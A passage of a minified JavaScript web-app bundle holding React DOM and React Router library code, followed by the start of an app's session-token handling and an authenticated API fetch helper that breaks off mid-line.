o=t.memoizedState;if(r=o.element,a.isDehydrated)if(a={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=a,t.memoizedState=a,t.flags&256){i=Ia(Error(Q(423)),t),t=Zv(e,t,r,n,i);break e}else if(r!==i){i=Ia(Error(Q(424)),t),t=Zv(e,t,r,n,i);break e}else for(Yt=Yr(t.stateNode.containerInfo.firstChild),Xt=t,Re=!0,Sn=null,n=Lw(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(Ta(),r===i){t=mr(e,t,n);break e}Ct(e,t,r,n)}t=t.child}return t;case 5:return Rw(t),e===null&&Bp(t),r=t.type,i=t.pendingProps,a=e!==null?e.memoizedProps:null,o=i.children,Lp(r,i)?o=null:a!==null&&Lp(r,a)&&(t.flags|=32),cj(e,t),Ct(e,t,o,n),t.child;case 6:return e===null&&Bp(t),null;case 13:return dj(e,t,n);case 4:return Th(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=Ma(t,null,r,n):Ct(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:kn(r,i),Yv(e,t,r,i,n);case 7:return Ct(e,t,t.pendingProps,n),t.child;case 8:return Ct(e,t,t.pendingProps.children,n),t.child;case 12:return Ct(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,a=t.memoizedProps,o=i.value,Oe(gc,r._currentValue),r._currentValue=o,a!==null)if(On(a.value,o)){if(a.children===i.children&&!$t.current){t=mr(e,t,n);break e}}else for(a=t.child,a!==null&&(a.return=t);a!==null;){var l=a.dependencies;if(l!==null){o=a.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(a.tag===1){c=cr(-1,n&-n),c.tag=2;var u=a.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}a.lanes|=n,c=a.alternate,c!==null&&(c.lanes|=n),Fp(a.return,n,t),l.lanes|=n;break}c=c.next}}else if(a.tag===10)o=a.type===t.type?null:a.child;else if(a.tag===18){if(o=a.return,o===null)throw Error(Q(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),Fp(o,n,t),o=a.sibling}else o=a.child;if(o!==null)o.return=a;else for(o=a;o!==null;){if(o===t){o=null;break}if(a=o.sibling,a!==null){a.return=o.return,o=a;break}o=o.return}a=o}Ct(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,za(t,n),i=hn(i),r=r(i),t.flags|=1,Ct(e,t,r,n),t.child;case 14:return r=t.type,i=kn(r,t.pendingProps),i=kn(r.type,i),Gv(e,t,r,i,n);case 15:return oj(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:kn(r,i),Yl(e,t),t.tag=1,Bt(r)?(e=!0,hc(t)):e=!1,za(t,n),ij(t,r,i),Up(t,r,i,n),Kp(null,t,r,!0,e,n);case 19:return fj(e,t,n);case 22:return lj(e,t,n)}throw Error(Q(156,t.tag))};function Pj(e,t){return tw(e,t)}function ZC(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function fn(e,t,n,r){return new ZC(e,t,n,r)}function Yh(e){return e=e.prototype,!(!e||!e.isReactComponent)}function QC(e){if(typeof e=="function")return Yh(e)?1:0;if(e!=null){if(e=e.$$typeof,e===ph)return 11;if(e===mh)return 14}return 2}function Qr(e,t){var n=e.alternate;return n===null?(n=fn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function Zl(e,t,n,r,i,a){var o=2;if(r=e,typeof e=="function")Yh(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case la:return _i(n.children,i,a,t);case fh:o=8,i|=8;break;case pp:return e=fn(12,n,t,i|2),e.elementType=pp,e.lanes=a,e;case mp:return e=fn(13,n,t,i),e.elementType=mp,e.lanes=a,e;case hp:return e=fn(19,n,t,i),e.elementType=hp,e.lanes=a,e;case R2:return Iu(n,i,a,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case I2:o=10;break e;case D2:o=9;break e;case ph:o=11;break e;case mh:o=14;break e;case Lr:o=16,r=null;break e}throw Error(Q(130,e==null?e:typeof e,""))}return t=fn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=a,t}function _i(e,t,n,r){return e=fn(7,e,r,t),e.lanes=n,e}function Iu(e,t,n,r){return e=fn(22,e,r,t),e.elementType=R2,e.lanes=n,e.stateNode={isHidden:!1},e}function Ef(e,t,n){return e=fn(6,e,null,t),e.lanes=n,e}function Af(e,t,n){return t=fn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function JC(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=uf(0),this.expirationTimes=uf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=uf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function Gh(e,t,n,r,i,a,o,l,c){return e=new JC(e,t,n,l,c),t===1?(t=1,a===!0&&(t|=8)):t=0,a=fn(3,null,null,t),e.current=a,a.stateNode=e,a.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Oh(a),e}function eP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Oj)}catch(e){console.error(e)}}Oj(),O2.exports=tn;var Jh=O2.exports,cg=Jh;dp.createRoot=cg.createRoot,dp.hydrateRoot=cg.hydrateRoot;/** + * @remix-run/router v1.23.2 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function lo(){return lo=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function ex(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function sP(){return Math.random().toString(36).substr(2,8)}function dg(e,t){return{usr:e.state,key:e.key,idx:t}}function im(e,t,n,r){return n===void 0&&(n=null),lo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?Ga(t):t,{state:n,key:t&&t.key||r||sP()})}function Ec(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function Ga(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function oP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:a=!1}=r,o=i.history,l=Ur.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(lo({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=Ur.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function m(y,v){l=Ur.Push;let b=im(g.location,y,v);u=d()+1;let w=dg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(k){if(k instanceof DOMException&&k.name==="DataCloneError")throw k;i.location.assign(j)}a&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=Ur.Replace;let b=im(g.location,y,v);u=d();let w=dg(b,u),j=g.createHref(b);o.replaceState(w,"",j),a&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Ec(y);return b=b.replace(/ $/,"%20"),We(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(ug,f),c=y,()=>{i.removeEventListener(ug,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:m,replace:h,go(y){return o.go(y)}};return g}var fg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(fg||(fg={}));function lP(e,t,n){return n===void 0&&(n="/"),cP(e,t,n)}function cP(e,t,n,r){let i=typeof t=="string"?Ga(t):t,a=Ra(i.pathname||"/",n);if(a==null)return null;let o=Tj(e);uP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?a.path||"":l,caseSensitive:a.caseSensitive===!0,childrenIndex:o,route:a};c.relativePath.startsWith("/")&&(We(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=Jr([r,c.relativePath]),d=n.concat(c);a.children&&a.children.length>0&&(We(a.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),Tj(a.children,t,d,u)),!(a.path==null&&!a.index)&&t.push({path:u,score:vP(u,a.index),routesMeta:d})};return e.forEach((a,o)=>{var l;if(a.path===""||!((l=a.path)!=null&&l.includes("?")))i(a,o);else for(let c of Mj(a.path))i(a,o,c)}),t}function Mj(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),a=n.replace(/\?$/,"");if(r.length===0)return i?[a,""]:[a];let o=Mj(r.join("/")),l=[];return l.push(...o.map(c=>c===""?a:[a,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function uP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:gP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const dP=/^:[\w-]+$/,fP=3,pP=2,mP=1,hP=10,xP=-2,pg=e=>e==="*";function vP(e,t){let n=e.split("/"),r=n.length;return n.some(pg)&&(r+=xP),t&&(r+=pP),n.filter(i=>!pg(i)).reduce((i,a)=>i+(dP.test(a)?fP:a===""?mP:hP),r)}function gP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function yP(e,t,n){let{routesMeta:r}=e,i={},a="/",o=[];for(let l=0;l{let{paramName:m,isOptional:h}=d;if(m==="*"){let g=l[f]||"";o=a.slice(0,a.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[m]=void 0:u[m]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:a,pathnameBase:o,pattern:e}}function bP(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),ex(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function wP(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return ex(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function Ra(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const jP=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,kP=e=>jP.test(e);function NP(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?Ga(e):e,a;if(n)if(kP(n))a=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),ex(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?a=mg(n.substring(1),"/"):a=mg(n,t)}else a=t;return{pathname:a,search:CP(r),hash:PP(i)}}function mg(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function _f(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function SP(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function tx(e,t){let n=SP(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function nx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=Ga(e):(i=lo({},e),We(!i.pathname||!i.pathname.includes("?"),_f("?","pathname","search",i)),We(!i.pathname||!i.pathname.includes("#"),_f("#","pathname","hash",i)),We(!i.search||!i.search.includes("#"),_f("#","search","hash",i)));let a=e===""||i.pathname==="",o=a?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let m=o.split("/");for(;m[0]==="..";)m.shift(),f-=1;i.pathname=m.join("/")}l=f>=0?t[f]:"/"}let c=NP(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(a||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const Jr=e=>e.join("/").replace(/\/\/+/g,"/"),zP=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),CP=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,PP=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function EP(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const Lj=["post","put","patch","delete"];new Set(Lj);const AP=["get",...Lj];new Set(AP);/** + * React Router v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function co(){return co=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),p.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=nx(u,JSON.parse(o),a,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:Jr([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,a,e])}const TP=p.createContext(null);function MP(e){let t=p.useContext(Qn).outlet;return t&&p.createElement(TP.Provider,{value:e},t)}function Lo(){let{matches:e}=p.useContext(Qn),t=e[e.length-1];return t?t.params:{}}function Uu(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=p.useContext(Sr),{matches:i}=p.useContext(Qn),{pathname:a}=Zi(),o=JSON.stringify(tx(i,r.v7_relativeSplatPath));return p.useMemo(()=>nx(e,JSON.parse(o),a,n==="path"),[e,o,a,n])}function LP(e,t){return IP(e,t)}function IP(e,t,n,r){Xa()||We(!1);let{navigator:i}=p.useContext(Sr),{matches:a}=p.useContext(Qn),o=a[a.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=Zi(),d;if(t){var f;let y=typeof t=="string"?Ga(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||We(!1),d=y}else d=u;let m=d.pathname||"/",h=m;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+m.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=lP(e,{pathname:h}),g=FP(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:Jr([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:Jr([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),a,n,r);return t&&g?p.createElement(Wu.Provider,{value:{location:co({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:Ur.Pop}},g):g}function DP(){let e=HP(),t=EP(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return p.createElement(p.Fragment,null,p.createElement("h2",null,"Unexpected Application Error!"),p.createElement("h3",{style:{fontStyle:"italic"}},t),n?p.createElement("pre",{style:i},n):null,null)}const RP=p.createElement(DP,null);class $P extends p.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?p.createElement(Qn.Provider,{value:this.props.routeContext},p.createElement(Dj.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function BP(e){let{routeContext:t,match:n,children:r}=e,i=p.useContext(Fu);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),p.createElement(Qn.Provider,{value:t},r)}function FP(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var a;if(!n)return null;if(n.errors)e=n.matches;else if((a=r)!=null&&a.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||We(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,m)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||RP,c&&(u<0&&m===0?(qP("route-fallback"),x=!0,y=null):u===m&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,m+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=p.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,p.createElement(BP,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||m===0)?p.createElement($P,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var $j=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}($j||{}),Bj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(Bj||{});function WP(e){let t=p.useContext(Fu);return t||We(!1),t}function UP(e){let t=p.useContext(Ij);return t||We(!1),t}function VP(e){let t=p.useContext(Qn);return t||We(!1),t}function Fj(e){let t=VP(),n=t.matches[t.matches.length-1];return n.route.id||We(!1),n.route.id}function HP(){var e;let t=p.useContext(Dj),n=UP(),r=Fj();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function KP(){let{router:e}=WP($j.UseNavigateStable),t=Fj(Bj.UseNavigateStable),n=p.useRef(!1);return Rj(()=>{n.current=!0}),p.useCallback(function(i,a){a===void 0&&(a={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,co({fromRouteId:t},a)))},[e,t])}const hg={};function qP(e,t,n){hg[e]||(hg[e]=!0)}function YP(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function Fi(e){let{to:t,replace:n,state:r,relative:i}=e;Xa()||We(!1);let{future:a,static:o}=p.useContext(Sr),{matches:l}=p.useContext(Qn),{pathname:c}=Zi(),u=Jn(),d=nx(t,tx(l,a.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return p.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function GP(e){return MP(e.context)}function lt(e){We(!1)}function XP(e){let{basename:t="/",children:n=null,location:r,navigationType:i=Ur.Pop,navigator:a,static:o=!1,future:l}=e;Xa()&&We(!1);let c=t.replace(/^\/*/,"/"),u=p.useMemo(()=>({basename:c,navigator:a,static:o,future:co({v7_relativeSplatPath:!1},l)}),[c,l,a,o]);typeof r=="string"&&(r=Ga(r));let{pathname:d="/",search:f="",hash:m="",state:h=null,key:x="default"}=r,g=p.useMemo(()=>{let y=Ra(d,c);return y==null?null:{location:{pathname:y,search:f,hash:m,state:h,key:x},navigationType:i}},[c,d,f,m,h,x,i]);return g==null?null:p.createElement(Sr.Provider,{value:u},p.createElement(Wu.Provider,{children:n,value:g}))}function ZP(e){let{children:t,location:n}=e;return LP(sm(t),n)}new Promise(()=>{});function sm(e,t){t===void 0&&(t=[]);let n=[];return p.Children.forEach(e,(r,i)=>{if(!p.isValidElement(r))return;let a=[...t,i];if(r.type===p.Fragment){n.push.apply(n,sm(r.props.children,a));return}r.type!==lt&&We(!1),!r.props.index||!r.props.children||We(!1);let o={id:r.props.id||a.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=sm(r.props.children,a)),n.push(o)}),n}/** + * React Router DOM v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Ac(){return Ac=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function QP(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function JP(e,t){return e.button===0&&(!t||t==="_self")&&!QP(e)}function om(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function eE(e,t){let n=om(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(a=>{n.append(i,a)})}),n}const tE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],nE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],rE="6";try{window.__reactRouterVersion=rE}catch{}const iE=p.createContext({isTransitioning:!1}),aE="startTransition",xg=A2[aE];function sE(e){let{basename:t,children:n,future:r,window:i}=e,a=p.useRef();a.current==null&&(a.current=aP({window:i,v5Compat:!0}));let o=a.current,[l,c]=p.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=p.useCallback(f=>{u&&xg?xg(()=>c(f)):c(f)},[c,u]);return p.useLayoutEffect(()=>o.listen(d),[o,d]),p.useEffect(()=>YP(r),[r]),p.createElement(XP,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const oE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",lE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,it=p.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:a,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,m=Wj(t,tE),{basename:h}=p.useContext(Sr),x,g=!1;if(typeof u=="string"&&lE.test(u)&&(x=u,oE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),k=Ra(j.pathname,h);j.origin===w.origin&&k!=null?u=k+j.search+j.hash:g=!0}catch{}let y=_P(u,{relative:i}),v=dE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return p.createElement("a",Ac({},m,{href:x||y,onClick:g||a?r:b,ref:n,target:c}))}),cE=p.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:a="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=Wj(t,nE),m=Uu(c,{relative:f.relative}),h=Zi(),x=p.useContext(Ij),{navigator:g,basename:y}=p.useContext(Sr),v=x!=null&&fE(m)&&u===!0,b=g.encodeLocation?g.encodeLocation(m).pathname:m.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=Ra(j,y)||j);const k=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let S=w===b||!o&&w.startsWith(b)&&w.charAt(k)==="/",N=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),z={isActive:S,isPending:N,isTransitioning:v},O=S?r:void 0,E;typeof a=="function"?E=a(z):E=[a,S?"active":null,N?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let T=typeof l=="function"?l(z):l;return p.createElement(it,Ac({},f,{"aria-current":O,className:E,ref:n,style:T,to:c,viewTransition:u}),typeof d=="function"?d(z):d)});var lm;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(lm||(lm={}));var vg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(vg||(vg={}));function uE(e){let t=p.useContext(Fu);return t||We(!1),t}function dE(e,t){let{target:n,replace:r,state:i,preventScrollReset:a,relative:o,viewTransition:l}=t===void 0?{}:t,c=Jn(),u=Zi(),d=Uu(e,{relative:o});return p.useCallback(f=>{if(JP(f,n)){f.preventDefault();let m=r!==void 0?r:Ec(u)===Ec(d);c(e,{replace:m,state:i,preventScrollReset:a,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,a,o,l])}function rx(e){let t=p.useRef(om(e)),n=p.useRef(!1),r=Zi(),i=p.useMemo(()=>eE(r.search,n.current?null:t.current),[r.search]),a=Jn(),o=p.useCallback((l,c)=>{const u=om(typeof l=="function"?l(i):l);n.current=!0,a("?"+u,c)},[a,i]);return[i,o]}function fE(e,t){t===void 0&&(t={});let n=p.useContext(iE);n==null&&We(!1);let{basename:r}=uE(lm.useViewTransitionState),i=Uu(e,{relative:t.relative});if(!n.isTransitioning)return!1;let a=Ra(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=Ra(n.nextLocation.pathname,r)||n.nextLocation.pathname;return am(i.pathname,o)!=null||am(i.pathname,a)!=null}const Vu="zerin_token",Hu="zerin_role",Ku="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(Vu,n.data.token),n.data.role&&sessionStorage.setItem(Hu,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function Ze(){return sessionStorage.getItem(Vu)}function ix(e){sessionStorage.setItem(Vu,e)}function Io(){sessionStorage.removeItem(Vu),sessionStorage.removeItem(Hu),sessionStorage.removeItem(Ku),uo=null}function Uj(){return sessionStorage.getItem(Ku)||"rat"}let uo=null;function pE(){return Ze()?uo&&Date.now()/1e3>uo?(Io(),!1):!0:!1}class ei extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function we(e,t={}){const n=Ze(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await 